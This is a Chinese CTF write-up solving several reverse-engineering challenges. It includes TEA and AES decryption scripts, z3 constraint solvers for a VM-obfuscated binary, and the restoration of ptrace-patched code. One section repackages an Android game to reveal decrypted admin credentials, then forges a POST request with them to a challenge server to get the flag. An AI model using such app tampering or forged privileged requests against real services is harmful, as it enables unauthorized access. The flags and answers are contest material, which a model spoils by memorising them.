*(_BYTE *)(v139 + v97) = 2 * (*v123 | v140) - (v140 ^ *v123);
v97 = *(_DWORD *)v129;
}
v124 = v172;
}
然后是tea
v154 = *v107;
v155 = 2 * (*v103 | *(_DWORD *)v144) - (*(_DWORD *)v144 ^ *v103);
*v103 = v155;
v156 = (2 * (v155 | v154) - (v155 ^ v154)) ^ (2 * (v186 | (16 * v154)) - (v186 ^ (16 * v154))) ^ (2 * (*v151 | (v154 >> 5)) - (*v151 ^ (v154 >> 5)));
v157 = *v149;
v158 = 2 * (v156 | *v142) - (v156 ^ *v142);
*v142 = v158;
v159 = (2 * (*v150 | (v158 >> 5)) - (*v150 ^ (v158 >> 5))) ^ (2 * (v157 | (16 * v158)) - (v157 ^ (16 * v158))) ^ (2 * (v158 | *v103) - (*v103 ^ v158));
*v107 = 2 * (v159 | *v107) - (v159 ^ *v107);
v146 = (*v122 | 0xFFFFFFFE) - (*v122 & 0xFFFFFFFE) + 2 * (*v122 | 1) + 1;
两种算法都没魔改,直接抄一份rot13跟tea,把加密后的flag解一下就可以
#include <stdio.h>
#include <stdint.h>
#include <string.h>
void rot13(void* ptr,int len) {
uint8_t* v = (uint8_t*)ptr;
for (int i = 0; i < len; ++i) {
if((v[i] >= 'a' && v[i] <= 'z')) {
v[i] = 'a' + (v[i] - 'a' + 13) % 26;
} else if(v[i] >= 'A' && v[i] <= 'Z') {
v[i] = 'A' + (v[i] - 'A' + 13) % 26;
}
}
}
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9E3779B9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i<32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
int main(int argc, char const *argv[]) {
uint32_t k[4];
const uint8_t tk[]= {
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
0x61, 0x62, 0x63, 0x64, 0x65, 0x66
};
const uint8_t te[]= {
0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02,
0x56, 0x2B, 0x49, 0xDD, 0x9B, 0xB6, 0xD4, 0xEA, 0xEF, 0xAA,
0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51,
0xEC, 0xB5
};
uint32_t e[9];
memset(e,0,sizeof(e));
memcpy(k,tk,sizeof(tk));
memcpy(e,te,sizeof(te));
for (int i = 0; i < 4; ++i) {
decrypt(&e[i*2],k);
}
rot13(e,sizeof(e));
printf("%s\n",e);
getchar();
return 0;
}
game
一个贪吃蛇小游戏,要获得9999分才能getflag,一开始想着直接抓接口改分数提交。结果点getflag按钮提示"You are not allowed",暂时没有思路了。于是去翻了一下dex里面的接口,发现ScoreBoard.php会返回admin组的账号信息,猜测是需要用admin组的账号才能getflag。
这样就需要直接构造GetFlag.php的post请求,参数为code,解密后的account跟解密后的username。ScoreBoard.php有code跟username,但缺少了account,AddFriend.php可以用code去获取account跟username,但是这两个接口的account跟username都是加密后的,加解密的函数都在so里,但里面有反调试跟混淆,不好整理算法。翻dex代码的时候看到SetUserInfo方法里调用了解密函数返回的username跟account,直接修改成固定的参数,重新打包签名就能看到解密的username跟account。
题目要求要9999分,于是选了code为123125的账号,改安装包解密后得到account为
&Od987$2sPa?>l<k^j
username为admin
然后直接post
requests.post('http://47.93.244.181/re/GetFlag.php', {'code': 123125, 'account': '&Od987$2sPa?>l<k^j', 'username': 'admin'})
返回{"msg":"Success","code":0,"data":"flag{h4pp9_An4R01d}"},调用成功。
GameMaster
一个 21 点的小游戏,且不能肉眼发现如何获取 flag
文件类型是 .NET 应用,使用 dnSpy 分析后发现,当按照某种固定的输入之后程序会使用 AES 解密一段数据
其解密的数据是=来自 gamemessage
文件,密钥也硬编码在程序中,写脚本解密该文件
from Crypto.Cipher import AES
def encrypt(plain_text, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(plain_text)
def decrypt(cipher_text, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(cipher_text)
with open('gamemessage', 'rb') as fp:
data = bytearray(fp.read())
for i in range(len(data)):
data[i] ^= 34
d0 = decrypt(data, b'\x42\x72\x61\x69\x6e\x73\x74\x6f\x72\x6d\x69\x6e\x67\x21\x21\x21')
with open('gamemessage.dec', 'wb') as fp:
fp.write(d0)
解密后的数据中明显包含一个新的 PE 文件,将此 PE 数据复制出来
当检查数据通过后,可以看到输出 flag 的逻辑
解密 flag 缺少 3 个整数,通过这 3 个整数派生出的密钥即可解密正确的 flag
这 3 个整数需要满足一定的约束条件,将约束的计算过程复制出来,直接上 z3 即可
z3 解约束的脚本如下
from z3 import *
x = BitVec('x', 64)
y = BitVec('y', 64)
z = BitVec('z', 64)
num = -1
keystream = [0 for i in range(40)]
for i in range(320):
x = (((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)
y = (((y >> 30) ^ (y >> 27)) & 1) | (y << 1)
z = (((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)
if i % 8 == 0:
num += 1
keystream[num] = ((keystream[num] << 1) | (((z >> 32) & 1 & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1)))) & 0xff
solver = Solver()
solver.add(keystream[0] == 101)
solver.add(keystream[1] == 5)
solver.add(keystream[2] == 80)
solver.add(keystream[3] == 213)
solver.add(keystream[4] == 163)
solver.add(keystream[5] == 26)
solver.add(keystream[6] == 59)
solver.add(keystream[7] == 38)
solver.add(keystream[8] == 19)
solver.add(keystream[9] == 6)
solver.add(keystream[10] == 173)
solver.add(keystream[11] == 189)
solver.add(keystream[12] == 198)
solver.add(keystream[13] == 166)
solver.add(keystream[14] == 140)
solver.add(keystream[15] == 183)
solver.add(keystream[16] == 42)
solver.add(keystream[17] == 247)
solver.add(keystream[18] == 223)
solver.add(keystream[19] == 24)
solver.add(keystream[20] == 106)
solver.add(keystream[21] == 20)
solver.add(keystream[22] == 145)
solver.add(keystream[23] == 37)
solver.add(keystream[24] == 24)
solver.add(keystream[25] == 7)
solver.add(keystream[26] == 22)
solver.add(keystream[27] == 191)
solver.add(keystream[28] == 110)
solver.add(keystream[29] == 179)
solver.add(keystream[30] == 227)
solver.add(keystream[31] == 5)
solver.add(keystream[32] == 62)
solver.add(keystream[33] == 9)
solver.add(keystream[34] == 13)
solver.add(keystream[35] == 17)
solver.add(keystream[36] == 65)
solver.add(keystream[37] == 22)
solver.add(keystream[38] == 37)
solver.add(keystream[39] == 5)
if solver.check() == sat:
print(solver.model())
# [x = 156324965, y = 868387187, z = 3131229747]
解得最终的 flag 为 Y0u_@re_G3meM3s7er!
find_basic
一个 ELF 文件,需要输入 secret
使用 IDA 静态分析,可以明显看出程序加过 VM 且每个 handler 自身作为分发器
每个 handler 形如
.text:00004516 80 F9 DE cmp cl, 0DEh ; 判断控制码
.text:00004519 75 28 jnz short loc_4543
.text:0000451B 61 popa ; 弹出通用寄存器
.text:0000451C 9D popf ; 弹出标志寄存器
.text:0000451D E8 02 00 00 00 call j__puts_0 ; 该 handler 的实际执行的指令
.text:00004522 EB 05 jmp short loc_4529 ; 跳转到下一个 handler 或分发器
可以通过特征匹配所有 handler 并使用 capstone 反汇编框架输出,其特征如下
80 F? ?? 75 ?? 61 9D ?? ?? ?? ?? ?? EB ??
由于实际执行指令的长度未知,所以上述方式并不能奏效!开始漫长的人工分析,目标只有一个,找出读写 flag 内存的 handler 并分析算法。此时借助调试器,在 flag 的内存上打访问断点,第一次断在了如图所示的位置
可以看到该 handler 读取了 flag 的值并做了一次有符号的乘法,继续人工跟踪 flag[0]
的所有操作,记录如下
mov eax, dword ptr [ebp + 8];
mov dword ptr [ebp - 4], eax;
mov byte ptr [ebp - 5], 1;
mov dword ptr [ebp - 0xc], 0;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x42b45;
sub eax, 0x1a93d7e;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x3b10f;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1e4e0;
add eax, edx
sub eax, 0x24fe394;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax]
movzx eax, al;
imul edx, eax, 0x31fc4;
mov eax, dword ptr [ebp - 4];
add eax, 1
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffdb038;
add edx, eax
; ...
分析上述 handler 后可以得出以下结论
- 指令
mov eax, dword ptr [ebp - 4]
获取了 flag 的内存地址 - 指令
add dword ptr [ebp - 0xc], eax;
保存每一轮运算的结果
使用 IDA 搜索以下指令,并使用调试器在这些位置打断点,记录每个 handler 对 flag 的操作
; 读取 flag[0]
8B 45 FC mov eax, [ebp-4]
0F B6 00 movzx eax, byte ptr [eax]
0F B6 C0 movzx eax, al
0F B6 00 movzx eax, byte ptr [eax]
0F B6 C0 movzx eax, al
; 读取 flag[N]
83 C0 0D add eax, N
0F B6 00 movzx eax, byte ptr [eax]
0F B6 C0 movzx eax, al
人工记录的结果如下
push ebp;
mov ebp, esp;
sub esp, 0x10;
mov eax, dword ptr [ebp + 8];
mov dword ptr [ebp - 4], eax;
mov byte ptr [ebp - 5], 1;
mov dword ptr [ebp - 0xc], 0;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x42b45;
sub eax, 0x1a93d7e;
add dword ptr [ebp - 0xc], eax
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x3b10f;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1e4e0;
add eax, edx;
sub eax, 0x24fe394;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x31fc4;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffdb038;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1390f;
add eax, edx;
sub eax, 0xbb9e67;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x32494;
mov eax, dword ptr [ebp - 4];
add eax, 3;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffe5a07;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xa4e6;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x6ba7;
add eax, edx;
sub eax, 0x1052718;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0xfffe0c3f;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x43e32;
add edx, eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x3f49d;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 3;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xc094;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 4;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffb7eff;
add eax, edx;
sub eax, 0x7fb225;
add dword ptr [ebp - 0xc], eax;
; ...
经分析后发现 flag 的每个值经过运算后的结果累加值为 0 时即为正确,根据该题的提示,每一轮运算的结果均为 0 时最终的累加值也为 0
人工验证一下思路是否正确,将 flag[0]
的操作转换为表达式为 flag[0] * 0x42b45 - 0x1a93d7e
解得
- flag[0] = 0x1a93d7e / 0x42b45 = 0x66 = 'f'
再验证 flag[1]
继续分析汇编,并转换为表达式 flag[1] * 0x3b10f + flag[0] * 0x1e4e0 - 0x24fe394
- flag[1] = (0x24fe394 - flag[0] * 0x1e4e0) / 0x3b10f = 0x6C = 'l'
思路是正确的,接下来就是记录所有的表达式了,最后写个脚本解约束
from z3 import *
flag = [BitVec('flag[%d]' % i, 8) for i in range(0x1c)]
solver = Solver()
for i in range(0x1c):
solver.add(flag[i] >= 32)
solver.add(flag[i] <= 127)
solver.add(flag[0] == ord('f'))
solver.add(flag[1] == ord('l'))
solver.add(flag[2] == ord('a'))
solver.add(flag[3] == ord('g'))
solver.add(flag[4] == ord('{'))
solver.add(flag[-1] == ord('}'))
solver.add(flag[0] * 0x42b45 - 0x1a93d7e == 0)
solver.add(flag[1] * 0x3b10f + flag[0] * 0x1e4e0 - 0x24fe394 == 0)
solver.add(flag[0] * 0x31fc4 + flag[1] * 0xfffdb038 + flag[2] * 0x1390f - 0xbb9e67 == 0)
solver.add(flag[0] * 0x32494 + flag[3] * 0xfffe5a07 + flag[1] * 0xa4e6 + flag[2] * 0x6ba7 - 0x1052718 == 0)
solver.add(flag[1] * 0xfffe0c3f + flag[2] * 0x43e32 + flag[0] * 0x3f49d + flag[3] * 0xc094 + flag[4] * 0xfffb7eff - 0x7fb225 == 0)
solver.add(flag[5] * 0x33e5b + flag[1] * 0x157f8 + flag[4] * 0xd4eb + flag[2] * 0xfffc9ad6 + flag[3] * 0x9c95 + flag[0] * 0xfffd8c2e - 0x6a31d == 0)
solver.add(flag[6] * 0x6d8c + flag[4] * 0xfffedd66 + flag[5] * 0x46fd4 + flag[1] * 0xfffc79bb + flag[3] * 0xfffbe7f5 + flag[2] * 0x14cde + flag[0] * 0xfffc4acd + 0x3083b63 == 0)
solver.add(flag[4] * 0x129fd + flag[7] * 0x2a3cd + flag[5] * 0x52a1 + flag[6] * 0x87de + flag[3] * 0x357c1 + flag[0] * 0xfffbe625 + flag[1] * 0xfffec17b + flag[2] * 0x8039 - 0xd3b6ed == 0)
solver.add(flag[4] * 0xfffe590f + flag[6] * 0xfffc6bb7 + flag[0] * 0x2aec8 + flag[7] * 0xfffd58b1 + flag[3] * 0xfffcf131 + flag[8] * 0xfffc0fae + flag[1] * 0xfffcf46a + flag[2] * 0xfffbbb98 + flag[5] * 0xfffc9913 + 0x7a4d9d3 == 0)
solver.add(flag[6] * 0x3cb6 + flag[5] * 0xfffc5201 + flag[9] * 0xfffdec99 + flag[8] * 0x195a8 + flag[4] * 0xfffbcea6 + flag[7] * 0xfffd4f63 + flag[0] * 0x3852e + flag[3] * 0x36c09 + flag[2] * 0xfffdffc6 + flag[1] * 0xffffbb8f + 0x27b7033 == 0)
solver.add(flag[8] * 0xfffb7a1c + flag[10] * 0xffff35fe + flag[4] * 0xfffe5693 + flag[3] * 0xfffdb9f4 + flag[5] * 0xbd38 + flag[1] * 0x25b89 + flag[2] * 0x3074d + flag[7] * 0xfffe5f6f + flag[9] * 0x1400e + flag[0] * 0xfffcd14c + flag[6] * 0x4036d + 0xa8256 == 0)
solver.add(flag[7] * 0x2da7a + flag[2] * 0xfffbfd56 + flag[9] * 0xffff0011 + flag[0] * 0xfffce077 + flag[3] * 0x34d5d + flag[5] * 0xfffb8def + flag[10] * 0xffff2d4e + flag[4] * 0x237a3 + flag[1] * 0x386e1 + flag[6] * 0xfb89 + flag[8] * 0x2e485 + flag[11] * 0x42574 - 0x24df62a == 0)
solver.add(flag[10] * 0x21c5e + flag[1] * 0x32144 + flag[11] * 0x420e3 + flag[3] * 0x3f6d0 + flag[0] * 0x1a459 + flag[2] * 0xfffc900e + flag[8] * 0x3fd03 + flag[7] * 0x43d16 + flag[5] * 0xfffe4105 + flag[6] * 0xfffd400a + flag[9] * 0xffffc29b + flag[4] * 0x2f9f0 + flag[12] * 0x19432 - 0x6f9b293 == 0)
solver.add(flag[1] * 0xfffca694 + flag[0] * 0xfffce151 + flag[9] * 0x30418 + flag[11] * 0x2f6aa + flag[4] * 0x1b619 + flag[8] * 0x22e4 + flag[7] * 0xfffe1384 + flag[10] * 0xffffa664 + flag[3] * 0x13e07 + flag[2] * 0xfffc46de + flag[5] * 0x79d6 + flag[12] * 0x4372b + flag[13] * 0x3d1d + flag[6] * 0x4d41 - 0x176513c == 0)
solver.add(flag[7] * 0x29b04 + flag[3] * 0xfffd2684 + flag[2] * 0xfffd9a2f + flag[10] * 0xfffd79fc + flag[13] * 0x2594e + flag[12] * 0x41c45 + flag[6] * 0xfffc9c57 + flag[5] * 0xfffc5f95 + flag[11] * 0xfffec65c + flag[14] * 0xffffb642 + flag[1] * 0xfffcb527 + flag[0] * 0x2792e + flag[4] * 0xfffe1bb7 + flag[8] * 0x445a1 + flag[9] * 0xfffd25cc + 0x5338cd6 == 0)
solver.add(flag[14] * 0xfffd399c + flag[3] * 0xffff3edb + flag[11] * 0x26b94 + flag[13] * 0xfffcee81 + flag[4] * 0xfffefe93 + flag[5] * 0xfffcdfa4 + flag[6] * 0xfffe2a42 + flag[0] * 0x10ba4 + flag[10] * 0x38e1d + flag[12] * 0x14c1e + flag[7] * 0xffffce4a + flag[8] * 0xfffd2a4b + flag[9] * 0x41fc + flag[1] * 0xfffedbac + flag[2] * 0xfffeab6a + flag[15] * 0xfffe4e59 + 0x299ff72 == 0)
solver.add(flag[14] * 0xfffdc67b + flag[1] * 0xffffb1fc + flag[12] * 0xffff59be + flag[8] * 0x3684 + flag[5] * 0x202c2 + flag[10] * 0x2e43 + flag[6] * 0xffff3a46 + flag[7] * 0x6a23 + flag[2] * 0xebfb + flag[0] * 0xfffbb78a + flag[15] * 0xd44a + flag[13] * 0x385eb + flag[11] * 0xfffee046 + flag[9] * 0xfffeb282 + flag[4] * 0xfffde639 + flag[3] * 0xfffd6738 + flag[16] * 0xffff1aa3 + 0x4728350 == 0)
solver.add(flag[1] * 0x28c9c + flag[4] * 0xfffdc4ae + flag[3] * 0x278ad + flag[17] * 0x326ca + flag[7] * 0xfffd423d + flag[15] * 0xfffc96fc + flag[10] * 0xfffeeb1a + flag[9] * 0xfffc2ee0 + flag[5] * 0x106be + flag[6] * 0xffff5d67 + flag[8] * 0x27 + flag[11] * 0xfffbc3b6 + flag[12] * 0xfffd163c + flag[13] * 0xfffb9b47 + flag[2] * 0x1e6ed + flag[0] * 0xfffc6c6f + flag[16] * 0x3b32b + flag[14] * 0x2feea + 0x48d1119 == 0)
solver.add(flag[3] * 0xfffc2bb3 + flag[0] * 0xfffce76f + flag[4] * 0xfffca692 + flag[1] * 0xfffdf4bc + flag[14] * 0x192f9 + flag[17] * 0xfffe5a1e + flag[15] * 0xfffed4f3 + flag[7] * 0xffff94f8 + flag[6] * 0xfffc717e + flag[9] * 0xfffed29b + flag[10] * 0xfffd28d9 + flag[8] * 0x218df + flag[2] * 0x28e00 + flag[12] * 0xfffdd0af + flag[13] * 0x25d22 + flag[11] * 0x42ebb + flag[5] * 0xffff1382 + flag[18] * 0x7404 + flag[16] * 0xfffe2dff + 0x60245a5 == 0)
solver.add(flag[5] * 0x21061 + flag[0] * 0xfffbcb01 + flag[19] * 0xffff7442 + flag[3] * 0x24568 + flag[6] * 0x1b201 + flag[13] * 0x2d232 + flag[14] * 0x13777 + flag[7] * 0xfffee013 + flag[8] * 0xfffc7505 + flag[2] * 0x264ed + flag[1] * 0x33b4f + flag[11] * 0x286d8 + flag[17] * 0x33e8b + flag[12] * 0x21529 + flag[16] * 0xfffb7c1a + flag[18] * 0xfffd07a3 + flag[10] * 0xffff8453 + flag[4] * 0x9754 + flag[9] * 0xfffd603d + flag[15] * 0xfffdd85b - 0x254e142 == 0)
solver.add(flag[0] * 0xfffe206e + flag[12] * 0x2f048 + flag[8] * 0xfffc19fa + flag[4] << 6 + flag[7] * 0x370d + flag[13] * 0xfffd9c2f + flag[6] * 0xfffdb413 + flag[20] * 0x30e0a + flag[18] * 0xfffe07f8 + flag[9] * 0xfffedfd5 + flag[10] * 0xfffee6f6 + flag[3] * 0x46247 + flag[1] * 0x2b8ed + flag[16] * 0x2d291 + flag[5] * 0xfffdc54d + flag[15] * 0xfffc5b55 + flag[14] * 0xfffb8061 + flag[11] * 0x43913 + flag[2] * 0xffffe191 + flag[17] * 0xfffd276e + flag[19] * 0xfffe5841 + 0xce53e7 == 0)
solver.add(flag[20] * 0xfffed971 + flag[21] * 0x46741 + flag[18] * 0xfffbac8c + flag[1] * 0xfffeb4e7 + flag[13] * 0x1026b + flag[12] * 0xfffe7d86 + flag[6] * 0xfffd5fec + flag[3] * 0x48ddb + flag[16] * 0xfffc6bc1 + flag[17] * 0x37ece + flag[8] * 0x41105 + flag[2] * 0xfffe6667 + flag[19] * 0xfffe75b2 + flag[4] * 0x61b0 + flag[14] * 0xffffd602 + flag[11] * 0xfffbce29 + flag[0] * 0xffff07d7 + flag[5] * 0x34c8e + flag[15] * 0x32996 + flag[10] * 0x49530 + flag[7] * 0x33822 + flag[9] * 0xfffce161 + 0x42666b == 0)
solver.add(flag[8] * 0xfffe06e8 + flag[12] * 0xfffd0441 + flag[2] * 0x16357 + flag[3] * 0x1d95f + flag[22] * 0xffff89d3 + flag[1] * 0xfffba022 + flag[16] * 0x46180 + flag[4] * 0xffff4240 + flag[5] * 0x199c5 + flag[21] * 0xffff442c + flag[17] * 0xfffc2fac + flag[10] * 0x32600 + flag[19] * 0x1d03a + flag[9] * 0x19435 + flag[15] * 0xfffd1667 + flag[18] * 0x35d1d + flag[0] * 0x96c4 + flag[11] * 0x2fa24 + flag[7] * 0xb20c + flag[6] * 0xebee + flag[20] * 0x428a6 + flag[14] * 0xfffceb8a + flag[13] * 0x22784 - 0x3604a63 == 0)
solver.add(flag[0] * 0x1e3e2 + flag[9] * 0x1cfb9 + flag[6] * 0xc3f7 + flag[10] * 0x94cd + flag[22] * 0xfffc7fd0 + flag[2] * 0x21165 + flag[23] * 0xfffcfb41 + flag[14] * 0xffff819d + flag[5] * 0xfffbeb76 + flag[1] * 0x16751 + flag[19] * 0xe1a + flag[17] * 0x238a0 + flag[12] * 0x28f99 + flag[8] * 0x45bc + flag[20] * 0xffffcb18 + flag[15] * 0x32d58 + flag[11] * 0xffffe4bc + flag[16] * 0xfffeea95 + flag[13] * 0x44f3a + flag[18] * 0xb047 + flag[7] * 0xfffcfc36 + flag[21] * 0x1719 + flag[4] * 0x1b011 + flag[3] * 0xfffea265 - 0x2918269 == 0)
solver.add(flag[15] * 0xfffbf307 + flag[8] * 0xffff2847 + flag[6] * 0xfffcfd31 + flag[2] * 0x40f96 + flag[22] * 0x2b265 + flag[5] * 0xfffc7802 + flag[3] * 0x1b103 + flag[4] * 0x42452 + flag[14] * 0x3c5d + flag[1] * 0x15b55 + flag[9] * 0xfffeb722 + flag[13] * 0x1d9a9 + flag[23] * 0x28df + flag[12] * 0xfffc89eb + flag[10] * 0xfffe1221 + flag[7] * 0x4462a + flag[19] * 0x23353 + flag[21] * 0x3c514 + flag[0] * 0x316a4 + flag[11] * 0x176e1 + flag[20] * 0xcf0e + flag[18] * 0x46b55 + flag[24] * 0xffffbcc1 + flag[17] * 0xf2a7 + flag[16] * 0x1d33c - 0x5df35b6 == 0)
solver.add(flag[3] * 0xfffbf624 + flag[22] * 0xfffec87a + flag[2] * 0x19aaa + flag[23] * 0x5f14 + flag[20] * 0xfffcfc43 + flag[16] * 0xfffbe879 + flag[15] * 0xfffdfc92 + flag[14] * 0xffffc258 + flag[0] * 0xfffd02fd + flag[5] * 0x12560 + flag[13] * 0xae46 + flag[7] * 0xfffeb6f5 + flag[12] * 0x30c11 + flag[17] * 0xfffcb4ae + flag[24] * 0x2a00a + flag[6] * 0xfffc76de + flag[21] * 0x4162 + flag[10] * 0xfffe95b2 + flag[25] * 0xfffe60e7 + flag[19] * 0xffff908d + flag[4] * 0xfffb7f42 + flag[11] * 0x1c31 + flag[1] * 0xffff900c + flag[8] * 0x2ad6e + flag[9] * 0xfffd7c6d + flag[18] * 0xc499 + 0x83646cd == 0)
solver.add(flag[12] * 0x26b02 + flag[3] * 0xfffb92e5 + flag[17] * 0x30dd1 + flag[18] * 0xfffe4c7b + flag[0] * 0xffff0433 + flag[1] * 0x276b1 + flag[9] * 0xfffc241e + flag[5] * 0xfffe3fdc + flag[8] * 0xfffee787 + flag[10] * 0x230c + flag[21] * 0xfffd53f8 + flag[4] * 0xfffc108c + flag[14] * 0xffffbac1 + flag[26] * 0xffff0bdb + flag[15] * 0xfffbc5e2 + flag[19] * 0xa1f6 + flag[16] * 0x1e758 + flag[22] * 0x1725f + flag[23] * 0x3387e + flag[20] * 0x87b + flag[2] * 0xfffd8475 + flag[13] * 0x3776a + flag[24] * 0xffff4515 + flag[11] * 0x1a454 + flag[6] * 0xfffbf3a1 + flag[25] * 0x25174 + flag[7] * 0xfffbccc2 + 0x52dfb3f == 0)
solver.add(flag[25] * 0x2f139 + flag[20] * 0x21b53 + flag[15] * 0x2ad74 + flag[9] * 0xfffba19b + flag[16] * 0x1ac4e + flag[27] * 0x2208e + flag[13] * 0xfffdd738 + flag[11] * 0xfffdfb9f + flag[8] * 0xfffe4b65 + flag[5] * 0x10937 + flag[10] * 0xfffbfdf3 + flag[12] * 0x3cc1a + flag[23] * 0xfffe93ee + flag[2] * 0xfffe3b8a + flag[14] * 0xfffe792c + flag[6] * 0x3e9ff + flag[21] * 0x128e6 + flag[3] * 0x574b + flag[24] * 0x16707 + flag[19] * 0x3fe4c + flag[17] * 0xfffed658 + flag[7] * 0x3cc8c + flag[22] * 0x458b4 + flag[1] * 0xfffd74d0 + flag[18] * 0x22e02 + flag[4] * 0xffff098d + flag[0] * 0x30b99 + flag[26] * 0xfffba5e9 - 0x38186f4 == 0)
flag_str = ''
if solver.check() == sat:
m = solver.model()
for i in range(0x1c):
flag_str += chr(m[flag[i]].as_long())
print(flag_str)
解得最终的 flag 为 flag{U_90t_th3_8451c_53cre7}
easyre
分析程序逻辑,首先释放了一个 ELF,随后通过 ptrace 类似调试器的方法,捕获 ELF 的 SIGTRAP 信号对释放的 ELF 进程修改代码,最终在 ELF 中对输入文件进行 check,详细如下:
由于 fork 后在子进程中 sub_40C3F0
函数会将 re3 文件删除,可以在该处下断点,这样可以得到 re3 文件,进而分析 re3 程序,IDA 打开后发现部分代码数据并未被识别为指令,手动 make code 即可,进入 main 函数,_setjmp()
和 longjmp()
实现二重循环,大致是 check 的逻辑,sub_2490
对输入文件逐字节读取
分析可知合法输入为 25x25 的 01 矩阵,随后进入 loc_21F9
的函数调用,但该函数中存在 INT 3
指令
回到 easyre 程序,该 SIGTRAP 被上层进行捕获,sub_401A30
函数通过程序 pid 在/proc/maps 中读取了 re3 进程的内存映像
结合动态调试,在 sub_401F2F
中下断点,并将异常 pass to app,可以发现首次 INT 3 时,程序进入此处
在执行完对应逻辑后,通过修改进行 rip 控制其执行流,随后向进程传入 PTRACE_CONT
信号,令 re3 继续执行,分析 sub_401BB1
函数
该函数对 re3 进程中的代码进行了修改,提取 md5 数据后,在 re3 中还原对应部分代码
from hashlib import md5
from ida_bytes import get_byte, patch_bytes
addr = 0x55899211E213
data = [(8723, 820555419), (8739, 204439052), (8755, 2023331787), (8771, 1201749658), (8787, 2009001459), (8803, 309493069), (8819, 994139042), (8835, 244964220), (8851, 1752591519), (8867, 49674272), (8883, 654614966), (8899, 153701618), (8915, 1413690375), (8931, 1296770320), (8947, 869022979), (8963, 607264832), (8979, 391671420), (8995, 1843735205), (9011, 959349745), (9027, 1171212523), (9043, 1553663100), (9059, 1780021933), (9075, 707165593), (9091, 682689494), (9107, 1143664716), (9123, 103763972), (9139, 79067989), (9155, 1334379513), (9171, 1198796057), (9187, 402529623), (9203, 1042963942), (9219, 983905083), (9235, 1854610108), (9251, 152975389), (9267, 2089964716), (9283, 812746300), (9299, 471175148), (9315, 976296130), (9331, 1037758217)]
for d in data:
b = list(md5(str(d[1]).encode()).digest()[8:])
p = []
for i in range(8):
p.append(b[i] ^ get_byte(addr+i))
patch_bytes(addr, bytes(p))
addr += 0x10
print('Done.')
随后 re3 会再次抛出 SIGTRAP,easyre 捕获后用同样的方法将 re3 中的代码复原,因此,也可以在第一次 INT 3 时下断点,从内存映像中得到 re3还原代码后,将 INT 3 附近指令 NOP,make code -> make function 后查看伪代码,此处会遇到 IDA 无法创建函数的情况,Undefine 对应位置后重新 make code 即可解决,还原后部分指令如图
分析 re3 的 check 逻辑,两个 25x25 矩阵分别代表行/列中连续 1 字符串的排列,最终问题转化为类似数独问题,需要注意比对的矩阵中,byte_5320 在 init 函数调用时被 sub_257D 赋值,对应数据在 unk_3020 处,得到两个比对矩阵后,分析比对逻辑
每行/列的长度 25 数组第一个数表示该行/列中连续 1 字符串的个数,于是可以对矩阵进行处理,得到真实比对的矩阵
with open('arr1', 'rb') as f1:
arr1 = list(f1.read())
with open('arr2', 'rb') as f2:
arr2 = list(f2.read())
for i in range(25):
new_arr1 = map(ord, arr1[25*i:25*i+25])
num = new_arr1[0]
for j in range(num+1, 25):
new_arr1[j] = 0
print(i+1, new_arr1[1:])
print()
